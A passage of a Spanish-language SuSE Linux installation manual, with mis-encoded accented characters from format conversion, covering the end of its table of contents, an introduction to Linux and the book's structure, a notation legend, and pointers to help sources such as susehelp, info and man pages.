  760.               15.3.2      Consultas           .       .       .       .       .       .       .        406
  761.  
  762.               15.3.3      Instalar y compilar los paquetes fuente        .       .        408
  763.  
  764.               15.3.4      Herramientas para los archivos RPM y el banco de
  765.                           datos RPM         .       .       .       .       .       .       .        410
  766.  
  767.  
  768. 16    Particularidades de SuSE      Linux                                                   411
  769.  
  770.       16.1     Filesystem  Hierarchy  Standard  (FHS)  y  Linux  Standard
  771.               Base (LSB)    .       .       .       .       .       .       .       .       .        411
  772.  
  773.               16.1.1      Entornos de ejemplo para FTP y HTTP       .       .        411
  774.  
  775.               16.1.2      teTeX  ~ TEX en SuSE     Linux       .       .       .       .        411
  776.  
  777.       16.2     Arrancar con ''initial ramdisk''        .       .       .       .       .        411
  778.  
  779.  
  780.                                                                                                                                    *
  781.  *     ix
  782. ═ndice General    _________________________________________________________________________________________________________________*
  783.  *_______________________________________@
  784.  
  785.  
  786.                                          16.2.1      El concepto ''initial ramdisk''      .       .       .       .        412
  787.                                          16.2.2      Procedimiento del arranque con initrd         .       .        412
  788.  
  789.                                          16.2.3      Bootloader         .       .       .       .       .       .       .        413
  790.  
  791.                                          16.2.4      Uso de initrd       en SuSE     Linux           .       .       .        414
  792.  
  793.                                          16.2.5      Posibles problemas ~ Kernel compilado a medida         415
  794.  
  795.                                          16.2.6      El futuro     .       .       .       .       .       .       .       .       *
  796.  * 415
  797.  
  798.                                  16.3     linuxrc           .       .       .       .       .       .       .       .       .      *
  799.  *  417
  800.  
  801.                                  16.4     El sistema de ayuda para SuSE     Linux      .       .       .       .        422
  802.  
  803.                                          16.4.1      Configuraci≤n para estaci≤n de trabajo o servidor         423
  804.  
  805.                                          16.4.2      Configuraci≤n   para   una   computadora   en   modo
  806.                                                      cliente        .       .       .       .       .       .       .       .      *
  807.  *  424
  808.  
  809.                                          16.4.3      Usar el sistema de ayuda     .       .       .       .       .        424
  810.  
  811.                                  16.5     El sistema de rescate de SuSE             .       .       .       .       .        425
  812.  
  813.                                  16.6     Indicaciones sobre paquetes especiales            .       .       .        429
  814.  
  815.                                          16.6.1      paquete cron      .       .       .       .       .       .       .        429
  816.  
  817.                                          16.6.2      paquete curses          .       .       .       .       .       .        429
  818.  
  819.                                          16.6.3      Fuentes del paquete uucp           .       .       .       .        429
  820.  
  821.                                          16.6.4      Manual-Pages     .       .       .       .       .       .       .        429
  822.  
  823.                                  16.7     Distribuci≤n de teclado           .       .       .       .       .       .        430
  824.  
  825.  
  826.                            17    El concepto de arranque de SuSE      Linux                                       431
  827.  
  828.                                  17.1     El init -Programm           .       .       .       .       .       .       .        431
  829.  
  830.                                  17.2     Los Runlevel          .       .       .       .       .       .       .       .        432
  831.  
  832.                                  17.3     Cambio del Runlevel      .       .       .       .       .       .       .        433
  833.  
  834.                                  17.4     Los Init-scripts       .       .       .       .       .       .       .       .        4*
  835.  *34
  836.  
  837.                                  17.5     /etc/rc.config             y SuSEconfig      .       .       .       .       .        435
  838.  
  839.                                  17.6     Las variables en /etc/rc.config              ~ Configuraci≤n de sis-
  840.                                          tema       .       .       .       .       .       .       .       .       .       .      *
  841.  *  437
  842.                            VIII     Seguridad y otros buenos consejos                             449
  843.  
  844.  
  845.                            18    Seguridad y Confianza                                                                  451
  846.  
  847.                                  18.1     Fundamentos          .       .       .       .       .       .       .       .        451
  848.  
  849.                                          18.1.1      Seguridad local           .       .       .       .       .       .        452
  850.  
  851.                                          18.1.2      Seguridad en redes      .       .       .       .       .       .        455
  852.  
  853.                                  18.2     Utilidades       .       .       .       .       .       .       .       .       .       *
  854.  * 457
  855.  
  856.                                          18.2.1      Utilidades locales       .       .       .       .       .       .        457
  857.  
  858.                                          18.2.2      Utilidades para la red          .       .       .       .       .        461
  859.  
  860.                                  18.3     Seguridad en SuSE     Linux       .       .       .       .       .       .        465
  861.  
  862.                                  18.4     Consejos generales         .       .       .       .       .       .       .        466
  863.  
  864.  
  865. x
  866.        _____________________________________________________________________________________________________________═ndice_General_*
  867.  *______________________
  868.  
  869.  
  870. 19    Introducci≤n a Linux                                                                    467
  871.       19.1     Hacer login, `root'-Usuario, introducci≤n de Usuario             467
  872.  
  873.       19.2     Apagar y arrancar el sistema           .       .       .       .       .        468
  874.  
  875.       19.3     Comandos ~ lφnea de comandos      .       .       .       .       .        469
  876.  
  877.       19.4     Consolas virtuales          .       .       .       .       .       .       .        471
  878.  
  879.       19.5     Directorios y nombres de ficheros           .       .       .       .        471
  880.  
  881.       19.6     Trabajar con directorios          .       .       .       .       .       .        472
  882.  
  883.       19.7     Trabajar con ficheros      .       .       .       .       .       .       .        472
  884.  
  885.               19.7.1      Propiedades de los ficheros         .       .       .       .        472
  886.  
  887.               19.7.2      Wildcards ~ Comodines      .       .       .       .       .        474
  888.  
  889.               19.7.3      El contenido de los ficheros        .       .       .       .        474
  890.  
  891.               19.7.4      Ficheros ocultos         .       .       .       .       .       .        475
  892.  
  893.               19.7.5      Copiar, renombrar y borrar ficheros     .       .       .        476
  894.  
  895.               19.7.6      B·squeda en ficheros          .       .       .       .       .        476
  896.  
  897.               19.7.7      Enlaces simb≤licos     .       .       .       .       .       .        477
  898.  
  899.               19.7.8      Archivar y guardar Datos            .       .       .       .        477
  900.  
  901.       19.8     Autorizaciones para ficheros           .       .       .       .       .        478
  902.  
  903.               19.8.1      El concepto de las autorizaciones        .       .       .        478
  904.  
  905.       19.9     Manual-Pages         .       .       .       .       .       .       .       .        480
  906.  
  907.       19.10    Informaci≤n sobre el estado del sistema           .       .       .        481
  908.  
  909.               19.10.1     El comando df             .       .       .       .       .       .        481
  910.  
  911.               19.10.2     El comando free           .       .       .       .       .       .        482
  912.  
  913.               19.10.3     El comando ulimit                 .       .       .       .       .        482
  914.  
  915.               19.10.4     El comando w      .       .       .       .       .       .       .        483
  916.  
  917.               19.10.5     El comando du             .       .       .       .       .       .        483
  918.  
  919.               19.10.6     El comando kill           .       .       .       .       .       .        483
  920.  
  921.               19.10.7     El comando ps             .       .       .       .       .       .        483
  922.  
  923.               19.10.8     El comando pstree                 .       .       .       .       .        484
  924.  
  925.               19.10.9     El comando top            .       .       .       .       .       .        484
  926.  
  927.       19.11    Sistemas de fichero en Linux ~ mount      y umount           .       .        484
  928.  
  929.               19.11.1     Sistemas de ficheros           .       .       .       .       .        484
  930.  
  931.               19.11.2     Montaje y desmontaje de sistemas de ficheros     .        485
  932.  
  933.       19.12    Comandos DOS bajo Unix usando mtools        .       .       .        486
  934.  
  935.       19.13    Resumen de los comandos de Unix         .       .       .       .        488
  936.  
  937.       19.14    Otras perspectivas           .       .       .       .       .       .       .        489
  938.  
  939.       19.15    El editor vi     .       .       .       .       .       .       .       .       .        491
  940.  
  941.  
  942. A     Teclas y combinaciones importantes                                             493
  943.  
  944.  
  945. B     Glosario                                                                                        495
  946.  
  947.  
  948.                                                                                                                                    *
  949.  *     xi
  950. ═ndice General    _________________________________________________________________________________________________________________*
  951.  *_______________________________________@
  952.  
  953.  
  954.                            C     El ßrbol de directorios                                                                  511
  955.                                  C.1      Vista general          .       .       .       .       .       .       .       .        5*
  956.  *11
  957.  
  958.                                  C.2      Directorios importantes          .       .       .       .       .       .        512
  959.  
  960.  
  961.                            D     Ficheros importantes                                                                    513
  962.  
  963.                                  D.1      Ficheros de dispositivos en el directorio /dev              .       .        513
  964.  
  965.                                          D.1.1       Lectores CD-ROM     .       .       .       .       .       .        513
  966.  
  967.                                          D.1.2       Unidades de cinta/Streamer         .       .       .       .        514
  968.  
  969.                                          D.1.3       Mouse (Bus y PS/2)            .       .       .       .       .        514
  970.  
  971.                                          D.1.4       Modem      .       .       .       .       .       .       .       .        515
  972.  
  973.                                          D.1.5       Puertos serie       .       .       .       .       .       .       .        5*
  974.  *15
  975.  
  976.                                          D.1.6       Puertos paralelos        .       .       .       .       .       .        515
  977.  
  978.                                          D.1.7       Dispositivos especiales       .       .       .       .       .        516
  979.  
  980.                                  D.2      Ficheros de configuraci≤n en /etc              .       .       .       .        516
  981.  
  982.                                  D.3      Ficheros de configuraci≤n ocultos en /home                 .       .        517
  983.  
  984.  
  985.                            E     Manual-Page de e2fsck                                                                 519
  986.  
  987.  
  988.                            F     Las SuSE      Linux-FAQ                                                                   523
  989.  
  990.  
  991.                            G     La licencia p·blica general GNU (GPL)                                        533
  992.  
  993.  
  994.                            H     Soporte y servicios de SuSE      GmbH                                              541
  995.  
  996.                                  H.1      60 dφas de soporte de instalaci≤n     .       .       .       .       .        541
  997.  
  998.                                          H.1.1       íSin registro, ning·n soporte!      .       .       .       .        541
  999.  
  1000.                                          H.1.2       Cobertura del soporte de instalaci≤n            .       .        541
  1001.  
  1002.                                  H.2      íLa vφa mßs rßpida!         .       .       .       .       .       .       .        542
  1003.  
  1004.                                          H.2.1       ┐C≤mo contactar el equipo de soporte de SuSE    ?           544
  1005.  
  1006.                                  H.3      Servicios adicionales      .       .       .       .       .       .       .        544
  1007. xii
  1008.  
  1009.  
  1010.      Parte  I
  1011.  
  1012.  
  1013. Prefacio
  1014.  
  1015.  
  1016.                                                                                                  1
  1017.  
  1018.  
  1019.                                                                                                            Capφtulo  1
  1020.                                                                                          Introducci≤n
  1021.  
  1022.  
  1023. La  corta  historia  de  Linux  parece  un  cuento  de  hadas  moderno:  En  el  a±o
  1024. 1991 el estudiante de informßtica Linus Torvalds comienza con la progra-
  1025. maci≤n de su propia versi≤n de Unix. Linus publica en Internet no solamente
  1026. los binarios, o sea los ejecutables en c≤digo mßquina, sino tambiΘn las fuentes
  1027. correspondientes.  El rßpido crecimiento de Internet hace que centenares de
  1028. programadores de todo el mundo se apunten a su invitaci≤n y colaboren en
  1029. el  desarrollo  de  Linux  de  forma  altruista;  su  motivaci≤n  es  resolver  prob-
  1030. lemas individualmente, trabajando en equipo o bien, les gusta a±adir nuevas
  1031. funcionalidades para perfeccionar el sistema. La ·nica condici≤n es la de pro-
  1032. porcionar nuevamente el trabajo realizado y su c≤digo fuente a la comunidad
  1033. de  programadores.  Este  principio  se  manifiesta  en  la  GNU  General  Public
  1034. License (GPL) que se encuentra en el anexo G en la pßgina 533.
  1035.  
  1036. Hoy en dφa hay muy buenas razonas para optar por Linux ya que, el sistema
  1037. ofrece  estabilidad,  seguridad  y  velocidad.  TambiΘn  cuenta  la  capacidad  de
  1038. conectividad en redes que ha sido decisiva para la conquista de todo el mer-
  1039. cado de servidores.  Los entendidos en Linux aprecian la disponibilidad del
  1040. c≤digo fuente, lo que proporciona al sistema operativo un alto nivel de inde-
  1041. pendencia y flexibilidad.  Gracias a esta disponibilidad nadie estß a merced
  1042. de ning·n productor de software sino que es posible hacer adaptaciones y ex-
  1043. tensiones a gusto propio. Tampoco se deberφa olvidar que el uso de Linux no
  1044. exige la adquisici≤n de licencias; da igual si se usa el sistema en casa o para
  1045. la red de una empresa.
  1046.  
  1047. En realidad, lo que ha motivado a muchos productores de hardware y software
  1048. a  apoyar  fuertemente  a  Linux,  ha  sido  el  enorme  interΘs  por  parte  de  los
  1049. usuarios y no por la multitud de argumentos en favor de Θste. Siemens , IBM
  1050. y Compaq  son algunas de las grandes empresas que han descubierto Linux
  1051. como sistema operativo.
  1052.  
  1053. Ademßs  de  la  gran  cantidad  de  aplicaciones  libres,  cada  vez  hay  mßs  apli-
  1054. caciones de uso comercial para Linux.  Productores de bases de datos como
  1055. Oracle , Informix , Software AG  y Sybase  al igual que productores de suites
  1056. ofimßticas como Applix ,  Corel  o Star Division  ofrecen sus productos para
  1057. Linux.  Linux es eficiente, se estß mejorando continuamente y no cuesta na-
  1058. da! Teniendo en cuenta que existen mßs de 10 millones de usuarios entusias-
  1059. tas cuya cantidad crece continuamente, hay que reconocer que Linux cumple
  1060. todos los requisitos para un futuro estßndar industrial.
  1061.  
  1062.  
  1063.                                                                                                                                    *
  1064.  *      3
  1065. 1.  Introducci≤n  _________________________________________________________________________________________________________________*
  1066.  *_______________________________________@
  1067.  
  1068.  
  1069.  
  1070.                            Pero a·n hay mßs:  ya existen a su disposici≤n dos entornos grßficos libres y
  1071.                            confortables (KDE  y GNOME ) que cada vez mßs respaldan la idea de usar
  1072.                            tambiΘn Linux en los ''desktops''.
  1073.  
  1074.  
  1075.  
  1076.                            1.1       ┐QuΘ es ''Linux''?
  1077.  
  1078.  
  1079.                            Lo  que  realmente  se  entiende  bajo  el  tΘrmino  Linux  es  el  +  Kernel,  el
  1080.                            ''coraz≤n'' de cualquier sistema operativo tipo Unix.
  1081.  
  1082.                            Pero el kernel por sφ solo no forma todavφa un sistema operativo.  Justamente
  1083.                            para  Unix  existe  una  multitud  de  software  libre,  lo  que  significa  que  estos
  1084.                            estßn tambiΘn disponibles para Linux. Son estas utilidades las que realmente
  1085.                            forman el sistema operativo.
  1086.  
  1087.                            En  cuanto  a  las  utilidades,  se  trata  generalmente  de  la  versi≤n  GNU  (+
  1088.                            GNU) de los programas correspondientes de Unix,  los que incluso muchas
  1089.                            veces ofrecen mayor funcionalidad, siendo el mßs conocido el GNU C/C++
  1090.                            Compiler , uno de los mejores compiladores del mundo.  Tampoco se deben
  1091.                            olvidar todas aquellas peque±as (o tambiΘn grandes) utilidades que se pueden
  1092.                            usar en la lφnea de comandos o en scripts: la oferta comienza con las utilidades
  1093.                            para  shells,  textos  o  ficheros  como  sed ,  awk  y  perl  hasta  editores  (vi )  o
  1094.                            entornos de trabajo completos (Emacs ).
  1095.  
  1096.                            Todo se complementa con XFree86 TM   (actualmente en la versi≤n 3.3.6), que
  1097.                            es el sistema X Window (actualmente  X11, Release 6.3) para sistemas Unix
  1098.                            a base de PC. Esta versi≤n se ha portado de la distribuci≤n oficial X11R6.3
  1099.                            del consorcio X Consortium, Inc., lo que proporciona total compatibilidad a
  1100.                            este estßndar.
  1101.  
  1102.                            Todos  estos  componentes  forman,  junto  a  otros  programas  (p. ej.   TEX,  el
  1103.                            sistema  profesional  de  tratamiento  de  textos)  o  tambiΘn  juegos,  el  sistema
  1104.                            denominado Linux.
  1105.  
  1106.                            Como  ya  se  ha  mencionado,  existe  para  Unix  una  cantidad  casi  infinita  de
  1107.                            software libre, lo que permite a su vez componer una multitud de diferentes
  1108.                            sistemas Linux.
  1109.  
  1110.                            En  este  punto  aparecen  las  distribuciones  de  Linux,  como  p. ej.  en  nuestro
  1111.                            caso,  el  SuSE     Linux.   Los  encargados  de  una  distribuci≤n  contemplan  la
  1112.                            enorme oferta de software libre y eligen los programas mßs adecuados.  El
  1113.                            resultado de esta elecci≤n es en el caso de los SuSE     Linux-CDs, un conjunto
  1114.                            que (actualmente ) mßs de 1000 paquetes de software;  paquetes que por su
  1115.                            tama±o generalmente se distribuyen en forma de CD.
  1116.                            ________________________________________________________________________________________________________*
  1117.  *________
  1118.                            |                                                                                                       *
  1119.  *        |||
  1120.                            |  Aparte del software libre, SuSE     Linux tambiΘn incorpora paquetes de pro-                         *
  1121.  *        |||
  1122.                            |  gramas que solamente pueden ser distribuidos en forma compilada ya que,                              *
  1123.  *        |||
  1124.                            |                                                                                                       *
  1125.  *        |||
  1126.                            |  por razones diversas, SuSE     no puede incluir las fuentes que se incluyen en                       *
  1127.  *        |||
  1128.                            |  caso del software de libre distribuci≤n.                                                             *
  1129.  *        |||
  1130.                            |_______________________________________________________________________________________________________*
  1131.  *________|||_
  1132.  
  1133.                            A parte de esto, la mayorφa de las distribuciones estßn a disposici≤n en Inter-
  1134.                            net, asφ que no hace falta comprar una distribuci≤n para actualizar de vez en
  1135.                            cuando el sistema.
  1136.  
  1137.  
  1138. 4
  1139.        _____________________________________________________________1.2.__Intenci≤n_del_libro_y_consejos_para_su_uso_______________*
  1140.  *______________________
  1141.  
  1142.  
  1143.  
  1144. 1.2       Intenci≤n del libro y consejos para su uso
  1145. Concebimos este libro explφcitamente como una guφa de instalaci≤n, la cual
  1146.  
  1147. no debe reemplazar la literatura avanzada que permite al usuario interesado
  1148. entrar en el fascinante mundo del high performance computing (ver la bibli-
  1149. ografφa al final del libro, capφtulo 17.6 en la pßgina 546Seguridad y servicios
  1150. de mantenimiento localessection.H.3).
  1151.  
  1152. Para  efectuar  la  primera  instalaci≤n  es  suficiente  con  leer  el  capφtulo  2  en
  1153. la  pßgina  17La  primera  instalaci≤n  de  SuSE     Linux  chapter.2,  ya  que  Θste
  1154. resulta  bastante  concreto  y  funcional.   Como  novato  en  Linux  no  es  nada
  1155. aconsejable entrar en la aventura de manejar una computadora con Linux sin
  1156. lectura previa. Leer algo antes aumenta su eficiencia y previene frustraciones
  1157. ~ como mφnimo se deberφa hojear el capφtulo 19 en la pßgina 467Introducci≤n
  1158. a Linuxchapter.19.
  1159.  
  1160. Linux y el software libre estßn sometidos a una fuerte dinßmica, lo que plantea
  1161. un reto al escribir literatura explicativa que vaya al ritmo de los ·ltimos de-
  1162. sarrollos y sirva a los principiantes del mundo Unix (sin aburrir a los ''viejos
  1163. zorros''). El presente libro trata de cumplir este objetivo.
  1164.  
  1165. El libro tiene tambiΘn el fin de dar a los principiantes de Linux un arranque
  1166. estimulante para descubrir su (nuevo) sistema.
  1167.  
  1168. Se constituye bßsicamente de las siguientes partes:
  1169.  
  1170. Instrucciones de instalaci≤n:                 Esta parte del libro acompa±a al principiante
  1171.       en Linux cuando estß dando los primeros pasos por el sistema, realizando
  1172.       una instalaci≤n de ejemplo con comentarios (capφtulo 2 en la pßgina 17La
  1173.       primera  instalaci≤n  de  SuSE     Linux  chapter.2).   Se  mencionan  posibles
  1174.       fuentes de error y se dan instrucciones concretas para solventar los prob-
  1175.       lemas que se puedan presentar durante la instalaci≤n.
  1176.  
  1177.       Se  explica  el  uso  del  programa  de  instalaci≤n  y  administraci≤n  de
  1178.       SuSE    ,  YaST  TM   (capφtulo  3  en  la  pßgina  83YaST  ~  Yet  another  Setup
  1179.       Toolchapter.3),   y  se  expone  c≤mo  arrancar  el  kernel  (capφtulo  4  en  la
  1180.       pßgina 119Arrancar y gestor de arranquechapter.4) .
  1181.  
  1182. Configuraci≤n de red:               Una  vez  que  el  sistema  bßsico  funciona  se  intenta
  1183.       ponerlo  en  red  (capφtulo  5  en  la  pßgina  153Linux  en  la  redchapter.5)  y
  1184.       establecer el acceso a Internet (capφtulo 5.3 en la pßgina 171Configuraci≤n
  1185.       y usochapter.6).
  1186.  
  1187. Entorno grßfico            La activaci≤n y configuraci≤n del entorno grßfico XFree86
  1188.       TM   es tema del capφtulo 8 en la pßgina 237El sistema X Windowchapter.8
  1189.  
  1190.       y  capφtulo  9  en  la  pßgina  261El  Windowmanager  ~  La  ventana  a  su
  1191.       PCchapter.9.
  1192.  
  1193. Sonido, escßner, portßtiles, impresi≤n, etc.:                       Del  capφtulo  10  en  la  pßgi-
  1194.       na  287Linux  y  el  hardware  adicionalchapter.10  hasta  el  capφtulo  12  en
  1195.       la  pßgina  325Impresoraschapter.12  se  averiguan  las  posibilidades  del
  1196.       hardware.
  1197.  
  1198. Linux ~ el kernel:            En esta parte se va directamente al grano:  estos capφtu-
  1199.       los, capφtulo 13 en la pßgina 349El kernelchapter.13 y capφtulo 14 en la
  1200.       pßgina 357Parßmetros del kernelchapter.14, presentan el kernel y dan las
  1201.       instrucciones sobre c≤mo generar y usar su propio kernel.
  1202.  
  1203.  
  1204.                                                                                                                                    *
  1205.  *      5
  1206. 1.  Introducci≤n  _________________________________________________________________________________________________________________*
  1207.  *_______________________________________@
  1208.  
  1209.  
  1210.  
  1211.                            Actualizaci≤n, paquetes de software, arrancar:                            Se  comentan  estrategias
  1212.                                  de actualizaci≤n, la administraci≤n del software (capφtulo 15 en la pßgi-
  1213.                                  na  393Actualizaci≤n  del  sistema  ~  Gesti≤n  de  paqueteschapter.15)  y
  1214.                                  se  introducen  las  caracterφsticas  especiales  de  SuSE     Linux  tal  como  el
  1215.                                  funcionamiento de arranque (capφtulo 17 en la pßgina 431El concepto de
  1216.                                  arranque de SuSE     Linux chapter.17).
  1217.  
  1218.                            Seguridad e inicio:            Los  conceptos  de  seguridad  (capφtulo  18  en  la  pßgi-
  1219.                                  na 451Seguridad y Confianzachapter.18) y los consejos para principiantes
  1220.                                  (capφtulo 19 en la pßgina 467Introducci≤n a Linuxchapter.19) se reunen
  1221.                                  al final del libro. Estos capφtulos explican los procedimientos y comandos
  1222.                                  bßsicos de Linux.
  1223.  
  1224.                            Anexo tΘcnico:           En  el  anexo  hay  una  lista  de  los  ficheros  de  configuraci≤n
  1225.                                  mßs importantes, de las combinaciones de teclas mßs frecuentes, ficheros
  1226.                                  de ejemplo, la licencia, las preguntas mßs frecuentes sobre SuSE      Linux
  1227.                                  (FAQ, anexo F en la pßgina 523Las SuSE     Linux-FAQappendix.F), etc.
  1228.  
  1229.                            Soporte:       Las  tareas  del  soporte  de  instalaci≤n  y  las  posibilidades  del  con-
  1230.                                  siguiente  soporte  empresarial,  se  detallan  en  el  anexo  H  en  la  pßgi-
  1231.                                  na 541Soporte y servicios de SuSE      GmbH appendix.H ~ lΘalo si desea
  1232.                                  entrar en contacto con SuSE!
  1233.  
  1234.                            Glosario, bibliografφa e φndice:                 Si  le  hace  falta  alg·n  dato  o  informaci≤n,
  1235.                                  use el extenso anexo y el glosario (anexo B en la pßgina 495Glosarioappendix.B)
  1236.                                  para encontrar las pßginas con explicaci≤n de tΘrminos importantes o sim-
  1237.                                  plemente  para  aumentar  su  conocimiento  general  sobre  Linux,  Unix  y
  1238.                                  ordenadores.
  1239.  
  1240.  
  1241.                            1.3       La leyenda ~ o lo que significa ''tierra:   #  ls''
  1242.  
  1243.                            En este manual tratamos de usar continuamente los mismos sφmbolos para la
  1244.                            misma clase de referencia. Las indicaciones mßs frecuentes se explican en la
  1245.                            tabla 1.1 en la pßgina siguiente.
  1246.  
  1247.                             _______________________________________________________________________________________________________*
  1248.  *_________
  1249.  
  1250.                             __indicaci≤n____________________________________________Significado____________________________________*
  1251.  *_________
  1252.                               Linus Torvalds                                        personas importantes
  1253.                               YaST  (yast    )                                      arrancar  el  programa  YaST ,  medi-
  1254.                                                                                     ante el comando yast
  1255.                               Adabas D                                              el producto Adabas D
  1256.                               /etc/passwd                                           nombre de un fichero y de una car-
  1257.                                                                                     peta
  1258.                               <fichero>                                             introduciendo      este      comando,
  1259.                                                                                     fichero         debe   ser   reemplazado
  1260.                                                                                     por   el   nombre   en   cuesti≤n;   los
  1261.                                                                                     signos  de  mayor  y  menor  (<>)  no
  1262.                                                                                     se introducen!
  1263.                               PATH                                                  la variable de entorno con el nom-
  1264.                                                                                     bre PATH
  1265.  
  1266.                             _______________________________________________________________________________________________________*
  1267.  *_________
  1268.  
  1269.                                                    Tabla 1.1: Contin·a en la pßgina siguiente ...
  1270.  
  1271. 6
  1272.        _____________________________________________________________________1.4.__La_lucha_con_la_cantidad_de_pßginas______________*
  1273.  *______________________
  1274.  
  1275.        ______________________________________________________________________________________________________________________
  1276.  
  1277.  
  1278.    192.168.1.2                                            el valor de una variable
  1279.    ls                                                     el comando a introducir ls
  1280.    `news'                                                 el usuario news
  1281.    tierra:   #  susehelp                                  `root'-shell   en   el   directorio   ~
  1282.                                                           (`~'  indica  el  ''directorio-home''
  1283.                                                           de  cada  usuario,   +  Directorio  de
  1284.                                                           usuario).      En   este   ejemplo   se
  1285.                                                           debe introducir el comando ayuda     ;
  1286.                                                           tierra      es el ejemplo para el nom-
  1287.                                                           bre de una computadora (ingl. host-
  1288.                                                           name).
  1289.    tux@tierra:/tmp  >  ls                                 shell del usuario `tux' en el direc-
  1290.                                                           torio /tmp; aquφ se debe introducir
  1291.                                                           la orden ls  ; a prop≤sito, Tux es el
  1292.                                                           nombre oficial del pingⁿino de Lin-
  1293.                                                           ux. . .
  1294.    C:\>  fdisk                                            DOS-Prompt  introduciendo  el  co-
  1295.                                                           mando fdisk
  1296.     Alt||||||__                                           tecla  para  pulsar;  en  este  caso  la
  1297.  
  1298.                                                           tecla ''Alt''
  1299.     Ctr||||||___l+ |A_____|lt+ |S______|_upr              mediante  `+'  se  indican  las  teclas
  1300.  
  1301.                                                           que  se  deben  pulsar  simultßnea-
  1302.                                                           mente; las que se deben pulsar suce-
  1303.                                                           sivamente se separan con espacios
  1304.    "Permission  denied"                                   mensajes del sistema
  1305.    `Actualizar  sistema'                                  la  opci≤n  de  men·  `Actualizar
  1306.                                                           sistema'
  1307.    Constructirola                                         la empresa ''Constructirola''
  1308.    +                                                      referencia al glosario
  1309.  
  1310.        ______________________________________________________________________________________________________________________
  1311.  
  1312.                     Tabla 1.1: Leyenda de las indicaciones en el texto
  1313.  
  1314.  
  1315.  
  1316. 1.4       La lucha con la cantidad de pßginas
  1317.  
  1318.  
  1319.  
  1320. Este  libro  solamente  puede  tener  una  cantidad  finita  de  pßginas,  asφ  que
  1321. lamentablemente es imposible explicar todo en forma impresa ya que la can-
  1322. tidad  de  software  disponible  para  Linux  dφa  a  dφa  crece  mßs  y  mßs,  por  lo
  1323. tanto, es importante mencionar aquφ la documentaci≤n disponible en lφnea.
  1324.  
  1325. No obstante, se ha incluido en este libro una secci≤n acerca de los ''primeros
  1326. pasos'' (hacer ''logins'', copiar, borrar y editar ficheros, acceder a disqueteras
  1327. y unidades CD-ROM, etc.)    que se encuentran en el capφtulo 19 en la pßgi-
  1328. na 467Introducci≤n a Linuxchapter.19 y siguientes.
  1329.  
  1330.  
  1331.  
  1332.                                                                                                                                    *
  1333.  *      7
  1334. 1.  Introducci≤n  _________________________________________________________________________________________________________________*
  1335.  *_______________________________________@
  1336.  
  1337.  
  1338.  
  1339.                            1.4.1      Banco de datos de soporte
  1340.                            Las respuestas a muchas preguntas y problemas ya existen en nuestro banco
  1341.  
  1342.                            de datos de soporte, en el cual hay centenares de artφculos con acceso las 24
  1343.                            horas del dφa bajo la siguiente direcci≤n electr≤nica: http://sdb.suse.de/
  1344.                            sdb/de/html/.
  1345.  
  1346.                            Aparte de la documentaci≤n en lφnea (en el web) Θsta existe tambiΘn en el pa-
  1347.                            quete sdb_es, serie doc, en el SuSE     Linux-CD. Se pueden leer los artφculos
  1348.                            con cualquier navegador, p. ej.  (arena , lynx , netscape ).
  1349.  
  1350.  
  1351.                            1.4.2      Ayuda en hipertexto
  1352.  
  1353.                            Existe una gran cantidad de documentaci≤n en forma de hipertexto.  El sis-
  1354.                            tema de hipertexto se arranca con el comando susehelp       .  Si se ha ejecutado
  1355.                            el sistema X Window, se activa otro programa (''browser'') para leer la docu-
  1356.                            mentaci≤n.  Bajo el sistema X la computadora busca el Netscape Communi-
  1357.                            cator  (figura 1.1 en la pßgina siguiente) y si lo encuentra lo arranca.  Si hay
  1358.                            una consola de texto arranca lynx (figura 16.7 en la pßgina 422El sistema de
  1359.                            ayuda para SuSE     Linux section.16.4).
  1360.  
  1361.                            Las opciones del sistema de ayuda se obtienen mediante el comando
  1362.  
  1363.                                  tux@tierra:/home/tux  >  susehelp  -help
  1364.  
  1365.                            En el apartado 16.4 en la pßgina 422El sistema de ayuda para SuSE      Linux
  1366.                            section.16.4 se explica c≤mo afinar el sistema de ayuda.
  1367.  
  1368.  
  1369.                            1.4.3      Texinfo e Info
  1370.  
  1371.                            Algunos  paquetes  de  programa  contienen  documentaci≤n  en  forma  de
  1372.                            ficheros Texinfo, que se pueden convertir al formato Info; este formato es otro
  1373.                            tipo  de  hipertexto.  Los  documentos  Ninfo  se  pueden  leer  con  el  programa
  1374.                            Infoviewer  (info    ) o usando el modo info en Emacs  (emacs     ).  En el entorno
  1375.                            del  sistema  X  Window  se  pueden  leer  estos  ficheros  de  manera  agradable
  1376.                            usando el programa tkInfo (tkinfo      ); XInfo (xinfo     ) por el contrario es mßs
  1377.                            bien sencillo.
  1378.  
  1379.                            TambiΘn es posible leer los ficheros del tipo Info y Texinfo con el sistema de
  1380.                            ayuda de SuSE     (ver la en la pßgina 423El sistema de ayuda para SuSE     Linux
  1381.                            section.16.4).
  1382.  
  1383.  
  1384.                            1.4.4      Manuales de Unix (''Manual-Pages'')
  1385.  
  1386.                            La  forma  tφpica  de  conseguir  informaci≤n  sobre  programas  o  comandos  en
  1387.                            un  sistema  Unix  es  usando  el  comando  man      (ver  el  apartado  19.9  en  la
  1388.                            pßgina 480Manual-Pagessection.19.9).
  1389.  
  1390.                            Introduciendo el comando
  1391.  
  1392.                                  tux@tierra:/home/tux  >  man  <comando>
  1393.  
  1394.                            se obtiene un resumen de la funci≤n y de las opciones de cada comando.
  1395.  
  1396.                            El sistema de ayuda de SuSE     sirve tambiΘn para leer las +  Manual-Pages, que
  1397.                            muchas veces se llaman de forma abreviada ''manpages'' (ver apartado 1.4.2).
  1398.  
  1399.  
  1400.  
  1401. 8
  1402.        _____________________________________________________________________1.4.__La_lucha_con_la_cantidad_de_pßginas______________*
  1403.  *______________________
  1404.  
  1405.             Figura 1.1: Pßgina principal del sistema de ayuda (Netscape)
  1406.  
  1407.  
  1408. 1.4.5      Los ficheros FAQ-, HowTo- y README
  1409.  
  1410. En el directorio /usr/doc existen muchos sub-directorios en los cuales hay
  1411. ficheros con informaci≤n sobre los paquetes.  Allφ es donde muchas veces se
  1412. encuentra  la  opci≤n  que  se  ha  estado  buscando  durante  mucho  tiempo,  asφ
  1413. como el nombre del fichero de configuraci≤n que no se encuentra en ninguna
  1414. parte o c≤mo se llama por ej.  el gato del programador;-) Siempre vale la
  1415. pena consultar esta fuente de informaci≤n antes de descartar y borrar alg·n
  1416. programa.
  1417.  
  1418.  
  1419.                                                                                                                                    *
  1420.  *      9
  1421. 1.  Introducci≤n  _________________________________________________________________________________________________________________*
  1422.  *_______________________________________@
  1423.  
  1424.                            ________________________________________________________________________________________________________*
  1425.  *________||
  1426.                            |  Un  reconocimiento  especial  merecen  los  FAQ  (preguntas  frecuentes)  de                         *
  1427.  *        ||||
  1428.                            || SuSE     Linux ~ se encuentran en anexo F en la pßgina 523Las SuSE     Linux-                        *
